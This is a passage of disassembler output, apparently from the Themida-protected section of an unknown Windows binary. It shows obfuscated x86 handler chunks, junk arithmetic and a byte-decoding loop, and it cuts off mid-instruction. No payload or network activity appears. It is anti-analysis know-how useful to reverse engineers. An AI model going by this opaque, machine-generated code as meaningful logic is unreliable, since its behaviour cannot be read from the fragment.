583FA400h, 58DF1100h, 586AE000h dd 5877CE00h, 58A36000h, 58AF8B00h, 58CD3000h, 584C4700h dd 589FB300h, 5842B000h, 5858CD00h, 586AC600h, 58712D00h dd 58564600h, 58777D00h, 58DE6C00h, 583D8100h, 58851F00h dd 58EBF300h, 58CFE900h, 5842D400h, 58EF4C00h, 58C94B00h dd 58450D00h, 58A71800h, 583E5200h, 5843AC00h, 5897A200h dd 58F8B200h, 583F4E00h, 58F02400h, 58407A00h, 5898E000h dd 58AA7000h, 584A2400h, 58401C00h, 58576E00h, 58A32600h dd 587AD600h, 58743000h, 58815700h, 58A88C00h, 58FDCD00h dd 586A9300h, 58988000h, 58BA2100h, 58485200h, 58ACFA00h dd 5890AD00h, 58B45C00h, 58F4FC00h, 58E13600h, 5856B200h dd 58869400h, 58C1DC00h, 58708100h, 589E8100h, 58BFE700h dd 58A9ED00h, 58AD5800h, 58E70000h, 58E25C00h, 584DC000h dd 58E2B100h, 58D38E00h, 5865C600h, 58B45100h, 583FD900h dd 584D6800h, 58C47E00h, 58453100h, 588F4200h, 583E4A00h dd 588EEE00h, 58BBCD00h, 5854EB00h, 58BA2A00h, 58522400h dd 58EC4000h, 58919100h, 58FA8F00h, 58482600h, 586F9400h dd 58A75300h, 5884B500h, 58583800h, 5864E000h, 58419200h dd 589CAF00h, 583EF200h, 58F04100h, 583EA700h, 58F78A00h dd 58F7A000h, 58951200h, 584F7D00h, 58F3E000h, 58717A00h dd 58883D00h, 58CAA200h, 58FEED00h, 58581900h, 58B8F400h dd 588B6100h, 5870CB00h, 58702500h, 58578500h, 58624D00h dd 58A87B00h, 586B3100h, 58B55100h, 58F0A500h, 58E88A00h dd 58E09800h, 5857D400h, 5877C300h, 583D3200h, 58F68E00h dd 5856DF00h, 5879AF00h, 58BD2200h, 589FCD00h, 58C77B00h dd 587E7400h, 58852E00h, 58742200h, 587FA900h, 58626D00h dd 58DE1200h, 584F6E00h, 585F4300h, 58B6D200h, 58F4BC00h dd 58B61300h, 58AB0200h, 58709B00h, 58DA7B00h, 58971D00h dd 587C5600h, 58EF0200h, 58DC9600h, 58487A00h, 58BE8A00h dd 58F97000h, 58711900h, 5878DC00h, 58DFF900h, 585BD100h dd 589B7200h, 58737600h, 5857E000h, 587B0C00h, 58F2DD00h dd 58F64600h, 58F8BF00h db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5B5756 loc_583BD9: ; CODE XREF: Themida_:005A57D5j ; Themida_:005A57DFj ... pusha pushf cld call $+5 pop edi sub edi, 6128107h mov eax, edi add edi, 6127E1Fh cmp eax, [edi+2Ch] jnz short loc_583BF7 jmp short loc_583C0A ; --------------------------------------------------------------------------- loc_583BF7: ; CODE XREF: sub_5B5756-31B63j mov [edi+2Ch], eax mov ecx, 0A7h jmp short loc_583C06 ; --------------------------------------------------------------------------- loc_583C01: ; CODE XREF: sub_5B5756-31B4Ej add [edi+ecx*4+40h], eax dec ecx loc_583C06: ; CODE XREF: sub_5B5756-31B57j or ecx, ecx jnz short loc_583C01 loc_583C0A: ; CODE XREF: sub_5B5756-31B61j mov esi, [esp+24h] mov ebx, esi add esi, eax mov ecx, 1 loc_583C17: ; CODE XREF: sub_5B5756-31B38j xor eax, eax lock cmpxchg [edi+30h], ecx jnz short loc_583C17 loc_583C20: ; CODE XREF: Themida_:loc_583D0Dj ; Themida_:loc_583DD1j ... lodsb sub al, 9Fh sub al, 0CEh add al, 4Eh add al, bl sub al, 4Eh add al, 0CEh sub esp, 2 jmp loc_586600 ; END OF FUNCTION CHUNK FOR sub_5B5756 ; =============== S U B R O U T I N E ======================================= sub_583C38 proc near ; CODE XREF: sub_585452+A0BEj var_4 = dword ptr -4 arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 00588372 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 00589BDC SIZE 0000000C BYTES push ebx mov ebx, eax mov edx, ebx mov ebx, [esp+4+var_4] add esp, 4 mov eax, [esp+0] add esp, 4 sub edx, 505322F4h push edx jmp loc_588372 sub_583C38 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_583C58: ; CODE XREF: Themida_:0058D877j xor ecx, 12CD42B3h mov edi, ecx pop ecx add ebp, 102716Fh add ebp, edi sub ebp, 102716Fh jmp loc_58DB99 ; --------------------------------------------------------------------------- loc_583C74: ; CODE XREF: Themida_:0058B6C1j add esp, 4 jmp loc_5860A1 ; --------------------------------------------------------------------------- loc_583C7C: ; CODE XREF: Themida_:00587FD3j mov [esp], esi push esp pop esi add esi, 4 add esi, 4 xor esi, [esp] xor [esp], esi xor esi, [esp] jmp loc_5846E7 ; --------------------------------------------------------------------------- loc_583C98: ; CODE XREF: Themida_:0058BD8Cj push bx jmp loc_58C046 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_583C9F: ; CODE XREF: sub_585452+9181j pop edx jmp loc_58753A ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_583CA5: ; CODE XREF: Themida_:005846BBj sub bx, 6EB8h add bx, dx push esi mov si, 3D06h jmp loc_58F09B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_583CB7: ; CODE XREF: sub_585452+7F5j shr eax, 8 add eax, 29E53774h sub ebp, eax jmp loc_58CDF0 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58E931 loc_583CC6: ; CODE XREF: sub_58E931-A23Bj push 72DD1936h pop eax xor eax, 442603FEh dec eax inc eax add eax, 0CF5E0881h sub esp, 4 mov [esp+0Ch+var_C], eax push edx jmp loc_585107 ; END OF FUNCTION CHUNK FOR sub_58E931 ; --------------------------------------------------------------------------- loc_583CE4: ; CODE XREF: Themida_:0058E074j push ebx mov ebx, 4 jmp loc_58D421 ; --------------------------------------------------------------------------- loc_583CEF: ; CODE XREF: Themida_:0058A887j push esp pop ebx jmp loc_5886CA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_583CF6: ; CODE XREF: sub_585452+A60Fj push 4 pop eax add edi, 6D241D33h add edi, 264D431Fh jmp loc_589EC6 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_583D0D: ; CODE XREF: Themida_:0058BDABj jmp loc_583C20 ; --------------------------------------------------------------------------- loc_583D12: ; CODE XREF: Themida_:0058B6AEj shl dh, 6 add dh, 0F5h sub bl, 1Ch sub bl, dh add bl, 1Ch pop edx pop ecx push ax mov ah, 2 sub bl, ah pop ax sub bl, 0D1h jmp loc_5884D6 ; --------------------------------------------------------------------------- mov ax, [esp] push eax push esp pop eax push esi mov esi, 4 add eax, esi mov esi, [esp] add esp, 4 push ecx mov ecx, 7B4E426Fh jmp loc_58E08B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_583D55: ; CODE XREF: sub_585452+1AA1j pop esi add ebx, 4 xchg ebx, [esp-8+arg_4] jmp loc_58D9A6 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_583D64: ; CODE XREF: Themida_:0058BBB7j push ebx mov ebx, 5F4B40C4h jmp loc_589D40 ; =============== S U B R O U T I N E ======================================= sub_583D6F proc near ; CODE XREF: sub_585452+47E2j arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 00586374 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00587733 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 0058ABBA SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0058B8A4 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0058D2E1 SIZE 00000019 BYTES push ebp push 9E41D84h jmp loc_587733 sub_583D6F endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_583D7A: ; CODE XREF: Themida_:0058B44Cj mov dh, 40h jmp loc_5878FE ; --------------------------------------------------------------------------- push dword ptr [esp] jmp loc_5865DB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_583D89: ; CODE XREF: sub_585452+82Ej add al, 8Fh add al, 7Dh push 5E7Eh mov [esp-4+arg_0], ebx push 1779h mov [esp+0], ecx mov ch, 1Ah push edx mov dh, ch mov bh, dh jmp loc_58BE32 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_583DA9: ; CODE XREF: Themida_:0058517Aj neg ecx sub ecx, 84219043h jmp loc_589F4C ; --------------------------------------------------------------------------- loc_583DB6: ; CODE XREF: Themida_:005870E7j mov [esp], ebp mov ebp, 259F3B3Ah and ebp, 2A3C5BB4h push ecx mov ecx, 52063C2Ch add ebp, ecx jmp loc_58EA83 ; --------------------------------------------------------------------------- loc_583DD1: ; CODE XREF: Themida_:005896F5j jmp loc_583C20 ; --------------------------------------------------------------------------- loc_583DD6: ; CODE XREF: Themida_:00589B62j add ebp, 1BFE6545h sub ebp, ebx jmp loc_585054 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_583DE3: ; CODE XREF: sub_585452+47D4j pop edi xor esi, [esp+0] xor [esp+0], esi xor esi, [esp+0] pop esp mov [esp-4+arg_0], ebx mov ebx, 7A07544h push 1B08h mov [esp+0], edx mov edx, 614975B7h neg edx add edx, 20FE54ADh add edx, 0AADD3B2Ah add ebx, edx pop edx or ebx, 60DE6919h push ebp mov ebp, 6825540Eh sub ebx, ebp pop ebp push edi mov edi, 5595207Ch or ebx, edi pop edi xor ebx, 5FDDB883h add edi, ebx push [esp-4+arg_0] pop ebx jmp loc_5842A5 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5B5756 loc_583E3D: ; CODE XREF: sub_5B5756-2F150j push small 2CA7h mov word ptr [esp+2Ah+var_2A], dx jmp loc_58AE74 ; END OF FUNCTION CHUNK FOR sub_5B5756 ; --------------------------------------------------------------------------- push small word ptr [edx] jmp loc_583C20 ; --------------------------------------------------------------------------- mov cx, [esp] push edx push esp pop edx sub esp, 4 mov [esp], ebp mov ebp, 4 add edx, ebp pop ebp push esi push 4B5Fh jmp loc_58B5CF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58FA66 loc_583E75: ; CODE XREF: sub_58FA66-5576j and edx, 28F6A30h not edx sub edx, 0FDF5DFE0h mov ebp, edx pop edx sub [edi+24h], ebp push [esp-4+arg_0] pop ebp jmp loc_58573B ; END OF FUNCTION CHUNK FOR sub_58FA66 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_589FD5 loc_583E92: ; CODE XREF: sub_589FD5-1E94j mov ebp, [esp+0] add esp, 4 add edx, edi add eax, [edx] mov edx, [esp-4+arg_0] jmp loc_588EB8 ; END OF FUNCTION CHUNK FOR sub_589FD5 ; --------------------------------------------------------------------------- lodsb jmp loc_58CB00 ; --------------------------------------------------------------------------- loc_583EAD: ; CODE XREF: Themida_:0058E086j push eax jmp loc_58D478 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_583EB3: ; CODE XREF: sub_585452+611j pop [esp-4+arg_0] mov esp, [esp-8+arg_4] push [esp-8+arg_4] pop eax push 4AD3h jmp loc_586FAD ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_589967 loc_583EC7: ; CODE XREF: sub_589967+57AEj add ebx, esi jmp loc_585F4B ; END OF FUNCTION CHUNK FOR sub_589967 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58960C loc_583ECE: ; CODE XREF: sub_58960C+1AEj sub ebx, ecx pop ecx push esi mov esi, 0DC03900h add ebx, 0ED66044h add ebx, esi sub ebx, 0ED66044h jmp loc_58E836 ; END OF FUNCTION CHUNK FOR sub_58960C ; --------------------------------------------------------------------------- loc_583EEA: ; CODE XREF: Themida_:0058DDFBj mov edx, [esp] jmp loc_5895FA ; --------------------------------------------------------------------------- push ecx push 47B03643h mov ecx, [esp] jmp loc_58DE19 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_589967 loc_583F00: ; CODE XREF: sub_589967-4EBDj mov [esp+0], esi jmp loc_58907D ; END OF FUNCTION CHUNK FOR sub_589967 ; --------------------------------------------------------------------------- loc_583F08: ; CODE XREF: Themida_:005895A9j xor ebx, 0B474C5Ch xor ebx, 49A9DE8Fh sub eax, 0B4B5F5Eh sub eax, 65AB7BCFh jmp loc_58D892 ; --------------------------------------------------------------------------- loc_583F23: ; CODE XREF: Themida_:0058F37Dj xchg ebx, [esp] pop esp mov [esp], eax push ebx push 64606C83h jmp loc_586293 ; --------------------------------------------------------------------------- unk_583F35 db 0 ; CODE XREF: sub_587E93-2AD4j ; --------------------------------------------------------------------------- fstp dword ptr [ebx+53h] push cx jmp loc_58F1A1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58AB18 loc_583F40: ; CODE XREF: sub_58AB18+4F87j mov edi, edx jmp loc_5886B5 ; END OF FUNCTION CHUNK FOR sub_58AB18 ; --------------------------------------------------------------------------- loc_583F47: ; CODE XREF: Themida_:0058925Cj mov al, bh jmp loc_589875 ; --------------------------------------------------------------------------- mov ax, [esp] jmp loc_58DAA8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5B5756 loc_583F57: ; CODE XREF: sub_5B5756-279DBj mov [esp+2Ah+var_2A], ecx push edx jmp loc_58418B ; END OF FUNCTION CHUNK FOR sub_5B5756 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58C230 loc_583F60: ; CODE XREF: sub_58C230-6E4Fj push edx mov edx, 4 add eax, edx pop edx xchg eax, [esp+0] pop esp push 23CEh mov [esp+0], edi jmp loc_58D954 ; END OF FUNCTION CHUNK FOR sub_58C230 ; --------------------------------------------------------------------------- loc_583F7A: ; CODE XREF: Themida_:00588A05j pop eax add esi, ecx pop ecx sub esi, 4 xchg esi, [esp] pop esp mov [esp], ebp jmp loc_5874E2 ; --------------------------------------------------------------------------- loc_583F90: ; CODE XREF: Themida_:0058F03Cj add esi, 4 xor esi, [esp] xor [esp], esi xor esi, [esp] jmp loc_584123 ; --------------------------------------------------------------------------- mov ax, [esp] sub esp, 4 mov [esp], ebx mov ebx, esp push esi mov esi, 44F503CFh or esi, 601751E6h jmp loc_5875AF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_583FC4: ; CODE XREF: sub_585452-49Fj push eax push 1E9Dh mov [esp+4+var_4], edx mov eax, [esp+4+var_4] push ebx mov ebx, esp push ecx jmp loc_58D88C ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- mov ax, fs:[edx] jmp loc_58CEA3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_583FE2: ; CODE XREF: sub_585452+1C2Aj neg edi sub edi, 42E81531h sub edi, 2055550Ch sub edi, 0AC051DB2h jmp loc_58DD32 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58EFBD loc_583FFB: ; CODE XREF: sub_58EFBD-7AE0j neg ebp sub esp, 4 mov [esp+4+var_4], edi mov edi, 77079D6h jmp loc_58A89C ; END OF FUNCTION CHUNK FOR sub_58EFBD ; --------------------------------------------------------------------------- loc_58400D: ; CODE XREF: Themida_:00587E7Aj mov [esp], edx mov dh, 3Ch sub al, 42h sub al, dh push edx jmp loc_587910 ; --------------------------------------------------------------------------- pop dword ptr [edi+40h] jmp loc_583C20 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_584024: ; CODE XREF: sub_585452+835j sub edx, 671636A3h pop esi jmp loc_589C2B ; --------------------------------------------------------------------------- loc_584030: ; CODE XREF: sub_585452+717Aj sub eax, edi mov edi, [esp+8+var_8] push ecx push esp pop ecx add ecx, 4 add ecx, 4 jmp loc_58EE23 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_584046: ; CODE XREF: Themida_:0058A0EAj push esi mov esi, esp add esi, 4 sub esi, 4 xchg esi, [esp] pop esp mov [esp], esp jmp loc_58AC54 ; =============== S U B R O U T I N E ======================================= sub_58405E proc near ; CODE XREF: sub_58C31F-2595j var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00585041 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00588133 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 00589DA4 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 0058C5D8 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0058F08B SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0058F1B1 SIZE 0000001C BYTES push ebx jmp loc_589DA4 sub_58405E endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_584064: ; CODE XREF: sub_585452+5763j pop esp jmp loc_587F05 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58F3BC loc_58406A: ; CODE XREF: sub_58F3BC-77D7j pop esi shr edi, 7 xor edi, offset byte_44A8DF push edi jmp loc_589A9D ; END OF FUNCTION CHUNK FOR sub_58F3BC ; --------------------------------------------------------------------------- mov ax, [esp] push 1E95h mov [esp], ecx push esp jmp loc_58E443 ; --------------------------------------------------------------------------- loc_58408C: ; CODE XREF: Themida_:005895DCj pop esp add edi, 2 push 2949h mov [esp], edi push dword ptr [esp+4] mov edi, [esp] add esp, 4 jmp loc_588EA2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58FA66 loc_5840A7: ; CODE XREF: sub_58FA66-3F0j add eax, 4 jmp loc_5860E8 ; END OF FUNCTION CHUNK FOR sub_58FA66 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_586A34 loc_5840B1: ; CODE XREF: sub_586A34+560Dj or eax, 55C23E78h shl eax, 7 and eax, 40601BABh add eax, 0C0006558h add ebx, eax pop eax jmp loc_58985A ; END OF FUNCTION CHUNK FOR sub_586A34 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_5840CB: ; CODE XREF: sub_585452+2855j mov esi, [esp+8+var_8] jmp loc_58AD50 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58905F loc_5840D3: ; CODE XREF: sub_58905F+Cj add ecx, 0C016FEC6h mov esi, ecx pop ecx sub eax, esi pop esi push edi push 3B02E2Dh pop edi add edi, 19D40462h or edi, 59F75872h sub edi, 258E3114h and edi, 60D96A8Fh jmp loc_589B82 ; END OF FUNCTION CHUNK FOR sub_58905F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_584103: ; CODE XREF: sub_585452+92D9j mov ebp, 551038C4h add [esp+8+var_4], 666801DAh jmp loc_586F38 ; --------------------------------------------------------------------------- loc_584115: ; CODE XREF: sub_585452+3B41j xor dh, 93h add dh, 0C0h sub al, dh pop edx jmp loc_58CB89 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_584123: ; CODE XREF: Themida_:00583F9Fj pop esp and [edi+1Ch], ecx pop ecx jmp loc_583C20 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58412D: ; CODE XREF: sub_585452+8FA1j mov [esp+4+var_4], esi mov esi, 43D10A7Fh mov ebx, esi pop esi jmp loc_58DFBC ; --------------------------------------------------------------------------- loc_58413D: ; CODE XREF: sub_585452+640Cj pop ecx add ebx, ecx sub ebx, 7C9221F2h jmp sub_58B758 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_58414B: ; CODE XREF: Themida_:0058AC22j add edi, eax mov eax, [esp] add esp, 4 xor edi, [esp] xor [esp], edi xor edi, [esp] mov esp, [esp] jmp loc_585EEA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_584164: ; CODE XREF: sub_585452+A315j pop edx sub ecx, ebp jmp loc_58AE4C ; --------------------------------------------------------------------------- loc_58416C: ; CODE XREF: sub_585452+3E1j add ebx, 6895554Ch jmp loc_58553B ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_584177: ; CODE XREF: Themida_:0058CBD7j add edx, edi jmp loc_58E013 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58417E: ; CODE XREF: sub_585452+349Bj shr bh, 2 push eax mov ah, 1Eh sub bh, ah jmp loc_58556E ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5B5756 loc_58418B: ; CODE XREF: sub_5B5756-317FBj mov dl, 0D3h jmp loc_58D29F ; END OF FUNCTION CHUNK FOR sub_5B5756 ; --------------------------------------------------------------------------- lodsb push ebx mov ebx, esp jmp loc_588023 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_589C10 loc_58419B: ; CODE XREF: sub_589C10+428Ej pop ecx xor edx, [esp-4+arg_0] jmp loc_584F30 ; END OF FUNCTION CHUNK FOR sub_589C10 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_5841A4: ; CODE XREF: sub_585452+9D93j add esp, 4 not ah jmp loc_58B48F ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_589967 loc_5841B1: ; CODE XREF: sub_589967+6j mov [esp+4+var_4], edx mov edx, esp add edx, 4 sub esp, 4 mov [esp+8+var_8], ebp mov ebp, 400B1529h shl ebp, 6 push edx mov edx, 7EF3337Eh or edx, 0BFC3300h or edx, 4E5A2A27h push ebp mov ebp, 47A85AAEh or ebp, 6B4C3C9Ah shl ebp, 2 dec ebp not ebp jmp loc_58479F ; END OF FUNCTION CHUNK FOR sub_589967 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58F923 loc_5841F6: ; CODE XREF: sub_58F923+7j mov eax, ebp jmp loc_589371 ; END OF FUNCTION CHUNK FOR sub_58F923 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58C92B loc_5841FD: ; CODE XREF: sub_58C92B+1Bj sub edx, 605E3671h sub edx, ebx add edx, 605E3671h add edx, 19D855DEh pop ebx pop esi add edx, 4 xchg edx, [esp-4+arg_0] pop esp sub ecx, 214F6582h push edx sub esp, 4 mov [esp+0], ebx push ebp mov ebp, 7D7E01A4h xor ebp, 32256DDDh mov ebx, ebp pop ebp shl ebx, 7 shr ebx, 3 neg ebx push esi mov esi, 6C350C12h xor ebx, esi pop esi jmp loc_58697A ; END OF FUNCTION CHUNK FOR sub_58C92B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58424C: ; CODE XREF: sub_585452+9B0j pop esp mov [esp-0Ch+arg_8], edi jmp loc_588ADD ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58BCA7 loc_584255: ; CODE XREF: sub_58BCA7-503Dj mov [esp+4+var_4], edx jmp sub_585019 ; END OF FUNCTION CHUNK FOR sub_58BCA7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58425D: ; CODE XREF: sub_585452+4812j not bh mov dl, bh pop ebx jmp loc_587B50 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_584267: ; CODE XREF: Themida_:00586089j mov ebx, 39B3303Bh xor ebx, 5A94005h xor esi, ebx pop ebx shr esi, 8 push eax jmp loc_58699B ; --------------------------------------------------------------------------- loc_58427E: ; CODE XREF: Themida_:0058F7B7j push 455Dh mov [esp], edx mov edx, 4 add edi, edx jmp loc_586B94 ; --------------------------------------------------------------------------- loc_584292: ; CODE XREF: Themida_:0058921Ej add ecx, 0F918D62Ah jmp loc_5887AB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58429D: ; CODE XREF: sub_585452+369Cj mov eax, [esp+0] jmp loc_585C93 ; --------------------------------------------------------------------------- loc_5842A5: ; CODE XREF: sub_585452-161Aj add esp, 4 movzx eax, al jmp loc_58F7FF ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- mov ax, [esp] jmp loc_58CE0B ; --------------------------------------------------------------------------- loc_5842B9: ; CODE XREF: Themida_:00589726j push 6AB8h jmp loc_58BBE1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_5842C3: ; CODE XREF: sub_585452+A530j push ecx mov ecx, esp add ecx, 4 sub ecx, 4 jmp loc_58C590 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- push dword ptr [esp] push dword ptr [esp] pop ecx push 2B56h mov [esp], ebp mov ebp, esp add ebp, 4 push esi push edx mov edx, 4 mov esi, edx jmp loc_5873B0 ; --------------------------------------------------------------------------- loc_5842F9: ; CODE XREF: Themida_:0058DF1Bj mov [esp], edx push esp mov edx, [esp] push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp push 594Bh mov [esp], edi jmp loc_588160 ; --------------------------------------------------------------------------- loc_584320: ; CODE XREF: Themida_:0058A6DFj xchg eax, [esp] mov esp, [esp] jmp loc_58B0C7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58D28B loc_58432B: ; CODE XREF: sub_58D28B+Fj add esp, 4 add ebx, 2 push ebx push [esp+arg_0] pop ebx pop dword ptr [esp+0] jmp loc_58EAE4 ; END OF FUNCTION CHUNK FOR sub_58D28B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_584342: ; CODE XREF: sub_585452+85F5j pop edx shr ecx, 7 push edx mov edx, esp add edx, 4 sub edx, 4 jmp loc_58E527 ; --------------------------------------------------------------------------- loc_584357: ; CODE XREF: sub_585452+32Ej mov edx, 4291196Fh not edx push ebx mov ebx, 7C1E1C54h add ebx, 126E43DBh not ebx jmp loc_58B0BA ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_584371: ; CODE XREF: Themida_:0058A37Dj pop edx add esp, 4 xchg esi, [esp] pop esp mov [esp], eax push 163Dh mov [esp], eax jmp loc_58D672 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_584389: ; CODE XREF: sub_585452+1ACBj shr eax, 10h jmp loc_58A3F9 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_584391: ; CODE XREF: Themida_:00584499j sub esp, 4 mov [esp], ecx push esp pop ecx jmp loc_585A96 ; --------------------------------------------------------------------------- loc_5843A1: ; CODE XREF: Themida_:005860AFj jmp loc_583C20 ; --------------------------------------------------------------------------- loc_5843A6: ; CODE XREF: Themida_:0058F23Aj pop esp jmp loc_585387 ; --------------------------------------------------------------------------- push dword ptr [edi+38h] sub esp, 4 jmp loc_58B470 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_5843B7: ; CODE XREF: sub_585452+2558j pop ebx push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp+0] pop esp add ebx, 4 push ebp mov ebp, 2 add ebx, 47F16C73h add ebx, ebp sub ebx, 47F16C73h pop ebp push ebx push [esp+arg_0] pop ebx pop dword ptr [esp+0] jmp loc_588B9E ; --------------------------------------------------------------------------- loc_5843F4: ; CODE XREF: sub_585452+586j add edx, ebx pop ebx push edx push [esp-4+arg_4] pop edx pop [esp-4+arg_0] mov esp, [esp-8+arg_4] jmp loc_58A8F9 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_584408: ; CODE XREF: Themida_:0058C00Ej add al, 4Bh sub al, 0E5h add al, ch jmp loc_58C219 ; --------------------------------------------------------------------------- loc_584413: ; CODE XREF: Themida_:00588EB3j add eax, 2 xchg eax, [esp] mov esp, [esp] sub [esp], al pushf jmp loc_583C20 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_584427: ; CODE XREF: sub_585452+82D7j pop esi add esp, 4 add ebp, ebx pop ebx jmp loc_58CCBB ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58BE98 loc_584433: ; CODE XREF: sub_58BE98-5552j and ecx, edx pop edx shr ecx, 0Ah push ebx push esi push eax jmp loc_589126 ; END OF FUNCTION CHUNK FOR sub_58BE98 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_584441: ; CODE XREF: sub_585452+84FDj add edi, ebp pop ebp add edi, 4 xchg edi, [esp-18h+arg_12+2] pop esp push edi push 51277F35h push [esp-14h+arg_E+2] mov edi, [esp+0] add esp, 4 add esp, 4 and edi, 3A11196Eh push ebx push edi mov edi, 220B1F2Ah inc edi jmp loc_586F8C ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_584470: ; CODE XREF: Themida_:0058D633j add edi, ebx add edi, 795508A2h sub edi, 4ADF3BE4h sub edi, 7ABF52E0h pop ebx add edi, 2 push edi push dword ptr [esp+4] pop edi pop dword ptr [esp] pop esp mov cx, [esp] jmp loc_584391 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58449E: ; CODE XREF: sub_585452+843Bj mov edi, 